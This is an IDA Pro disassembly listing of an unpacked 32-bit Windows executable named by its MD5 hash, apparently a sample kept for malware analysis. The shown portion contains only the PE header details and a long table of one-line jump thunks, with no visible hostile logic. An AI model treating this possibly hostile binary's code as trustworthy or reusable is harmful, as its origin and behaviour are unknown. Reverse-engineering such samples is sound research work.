;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	10E5F5C242F2560033D981E15340B8D2

; File Name   :	u:\work\10e5f5c242f2560033d981e15340b8d2_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00110000 (1114112.)
; Section size in file		: 00110000 (1114112.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_42F630
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43E09Co
		jmp	loc_412CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421AF0+29p
		jmp	sub_422050
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431250
; ---------------------------------------------------------------------------
		jmp	loc_420DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004118E3p
		jmp	sub_411910
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B1BDp
					; ___:0040B1CAp ...
		jmp	sub_403C00
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FA90+34p
		jmp	sub_40B000
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C70+619p
					; sub_404C70+6D8p ...
		jmp	sub_40A030
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42A100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_413510+3Bp
					; ___:00414B30p
		jmp	sub_4155E0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_42F840+6Ep
					; sub_42F840+8Ap ...
		jmp	sub_432FE0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:0042EF22p
					; sub_42F840+3Fp ...
		jmp	sub_432E60
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423940

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D130
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B000+3Ap
					; sub_40B070+1Ap
		jmp	sub_432980
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E660+37Bp
		jmp	sub_421C30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C0C0+8p
		jmp	sub_40C280
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_431900+5Ap
					; sub_433710+50p
		jmp	sub_4318C0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43E07Co
		jmp	sub_41C610
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416EAAp
		jmp	sub_41FBD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40BF60+32p
		jmp	sub_40C120
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416EBAp
		jmp	sub_418290
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415830+5Ep
					; sub_416280+32p
		jmp	sub_4161C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E660+161p
					; sub_4223E0+3p
		jmp	sub_421A50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421C30+3p
					; ___:00421FFFp ...
		jmp	sub_422170
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C400+43p
		jmp	sub_40CAD0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_427FF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_407570+Ap
		jmp	sub_407610
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4245F0+23p
					; sub_424790+6p ...
		jmp	sub_424500
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_430C00+F5p
					; sub_430C00+14Fp
		jmp	sub_432DF0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4331D0+C8p
		jmp	sub_430990
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043E174o
		jmp	sub_429DC0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43E0A0o
		jmp	loc_41E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418330+D0p
					; sub_418490+2Dp
		jmp	sub_418A20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FF60+8D9p
					; sub_40FF60+990p ...
		jmp	sub_411860
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:0042F336p
					; ___:0042F3A4p ...
		jmp	sub_430F00
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421D50+9p
					; sub_422240+18p
		jmp	sub_4223C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40A9F0+58p
					; sub_40A9F0+82p ...
		jmp	sub_40ABE0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422A40+3F1p
					; ___:00423AA6p ...
		jmp	sub_419AE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416010+7p
		jmp	sub_416640
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415520+4Fp
					; sub_415E70+11p ...
		jmp	sub_4160C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_429C30+58p
		jmp	sub_429AA0
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421870+1Fp
		jmp	sub_421CB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_421FB0+11p
					; ___:00421FD7p ...
		jmp	sub_4224D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413D60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421A30+3p
					; ___:00421D9Fp ...
		jmp	sub_421F10
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_414400

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_426F20+3p
		jmp	sub_426F50
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415A00+11p
					; ___:00415A27p ...
		jmp	sub_416470
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_433310

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421B60+5p
					; sub_421C50+6p ...
		jmp	sub_422150
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416A5Bp
					; ___:00439F5Ej ...
		jmp	sub_417A60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C70+6Ap
					; sub_404C70+1AFp ...
		jmp	sub_412970
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43E074o
		jmp	sub_4192C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_431A20+6p
					; ___:00431A33p ...
		jmp	sub_42F480
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E3D0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43E15Co
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423C9Dp
		jmp	sub_423760
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:004150A8p
		jmp	sub_415990
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41B950+F7p
					; sub_41B950+10Bp ...
		jmp	sub_409EA0
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_409910+Ap
		jmp	sub_409A00
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4133D0+55p
					; sub_4133D0+94p ...
		jmp	sub_415770
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425020+183p
		jmp	sub_4235F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414BBEp
		jmp	sub_415520
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_427600+3p
		jmp	sub_427630
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43E038o
		jmp	loc_4118E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415DD0+11p
					; ___:00415DF7p ...
		jmp	sub_4165F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D730

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418B10+23p
					; sub_418D80+11p
		jmp	sub_418E60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418A90+3p
					; sub_418E90+54p ...
		jmp	sub_418CE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_409600+6Ap
					; sub_409600+103p
		jmp	sub_4098A0
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_432840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413D7Dp
		jmp	sub_413B70
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A1E4p
		jmp	sub_41AFE0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4133D0+88p
					; sub_4147D0+BFp ...
		jmp	sub_415930
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_42F480+7p
					; sub_42F4F0+19p ...
		jmp	sub_4338B0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DB10
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:004310AAp
		jmp	sub_430A50
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_4071E0+11p
					; sub_407370+1Fp
		jmp	sub_407410
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4036D0+3B5p
					; sub_4036D0+3C5p ...
		jmp	sub_403E00
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421C10+3p
		jmp	sub_422190
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C250+Ap
		jmp	sub_40C310
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_4036D0+1Dp
					; sub_407030+1Fp ...
		jmp	sub_403C70
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413274p
					; ___:0043998Cj ...
		jmp	sub_4153B0
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42B350+3p
		jmp	sub_42B380
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414BCDp
		jmp	sub_414C70
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407610+7p
					; sub_409A00+7p ...
		jmp	sub_407640
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_413510+73p
					; ___:00414B6Dp ...
		jmp	sub_415600
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E660+58p
		jmp	sub_420530
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413DA0+84p
		jmp	sub_4137E0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00432428p
		jmp	sub_42FD70
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_4074C0+8p
		jmp	sub_4075A0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C70+9Fp
					; sub_404C70+230p ...
		jmp	sub_40A430
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A790+21p
					; sub_40A9F0+A5p
		jmp	sub_40A9D0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A430+129p
					; sub_40A810+4p ...
		jmp	sub_40A7E0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43E0DCo
		jmp	sub_426650
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004322BDp
		jmp	sub_42FA70
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_4072F0+3p
					; ___:004073BFp ...
		jmp	sub_407480
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D830+346p
					; sub_41D830+410p ...
		jmp	sub_421870
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421AB0+11p
					; sub_421FB0+1Fp
		jmp	sub_4220E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42B4F0+3p
		jmp	sub_42B520
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_407790
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C120+5Fp
		jmp	sub_40C2F0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_4034E0+F6p
					; sub_4034E0+12Ep ...
		jmp	sub_409C30
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E660+113p
					; sub_41E660+124p
		jmp	sub_421A30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043E060o
		jmp	sub_41F860
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416AFBp
					; ___:00439ED2j ...
		jmp	sub_4176B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AEC0+Fp
		jmp	sub_42FF50
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418B10+32p
		jmp	sub_418D80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_433570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415420+5p
					; sub_415620+6p ...
		jmp	sub_416030
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BCB0+29p
					; sub_40BDD0+29p
		jmp	sub_40BF60
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E660+3E9p
					; ___:0043B1ABj
		jmp	sub_421AF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4144D0+BFp
		jmp	sub_415210
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4164E0+Ap
		jmp	sub_416820
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416B67p
					; ___:00439E73j ...
		jmp	sub_416FB0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418330
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416E1Fp
		jmp	sub_417FD0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414690
; ---------------------------------------------------------------------------
		jmp	loc_42F030

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FF60+387p
					; sub_41EF30+21Dp ...
		jmp	sub_41B6E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416E5Ap
		jmp	sub_418180
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409490+8p
		jmp	sub_4094E0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_409600+A5p
					; sub_412BC0+21p
		jmp	sub_409810
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C70+385p
					; sub_41D830+5AAp
		jmp	sub_41C030
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416D6Fp
		jmp	sub_4036D0
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418BC0+23p
					; sub_418E90+11p
		jmp	sub_418FE0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424840+Cp
					; sub_424840+3Ep ...
		jmp	sub_424330
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C70+860p
					; sub_404C70+ADCp ...
		jmp	sub_40A290
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042EB16p
					; ___:0042EB66p ...
		jmp	sub_431490
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E660+367p
					; sub_41E660+3D4p ...
		jmp	sub_421C80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_426A60+107o
		jmp	sub_426CE0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424720+18p
					; sub_424760+Ap ...
		jmp	sub_4246D0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416120+9p
					; sub_4161C0+18p
		jmp	sub_4167D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_431280+32o
		jmp	sub_431A80
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EB60
; ---------------------------------------------------------------------------
		jmp	loc_419BB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_429AA0+67p
		jmp	sub_41FEF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:0042EEF8p
					; sub_42F0B0+2p ...
		jmp	sub_430270
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413670+3Fp
					; sub_4144D0+40p ...
		jmp	sub_415160
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404640+19Fp
					; sub_404640+212p ...
		jmp	sub_409EF0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424E90+B5p
					; sub_424E90+F1p
		jmp	sub_424E20
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425020+127p
		jmp	sub_424E90
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416E3Ap
		jmp	sub_418080
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416E0Fp
		jmp	sub_417F10
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4303D0+1p
		jmp	sub_430460
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00425F11p
		jmp	sub_426450
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418330+71p
					; sub_418330+BBp ...
		jmp	sub_4189F0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A0A0+7p
		jmp	sub_40A0C0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004316D8p
					; sub_431730+2Bp
		jmp	sub_431900
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_431280+1p
		jmp	sub_4314C0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4207E0+37Bp
		jmp	sub_421BD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414360+5Bp
		jmp	sub_415030
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_4153B0+29p
					; sub_4154D0+29p
		jmp	sub_415F30
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00435F42p
					; ___:00435F52p ...
		jmp	sub_435E00
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4133D0+5Fp
					; sub_4133D0+9Ep ...
		jmp	sub_415960
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B520+62p
					; ___:0040B9E8p ...
		jmp	sub_40BE60
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4300C0
; ---------------------------------------------------------------------------
		jmp	loc_42EC40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; DATA XREF: ___:0043E1A8o
		jmp	sub_42B3A0
sub_40134D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B2E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416090+8p
		jmp	sub_4166B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4133D0+71p
					; sub_4133D0:loc_41349Cp ...
		jmp	sub_415910
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418330+AFp
					; sub_418FE0+3p
		jmp	sub_418AB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043E104o
		jmp	sub_426A60
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B520+39p
					; sub_40B520+78p ...
		jmp	sub_40BE90
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_4257A0+29p
					; sub_4257A0+38p
		jmp	sub_4256B0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A500+1Cp
		jmp	sub_41A540
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043E164o
		jmp	sub_429C30
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408BE6p
					; ___:00414481p
		jmp	sub_414230
sub_40137F	endp


; =============== S U B	R O U T	I N E =======================================
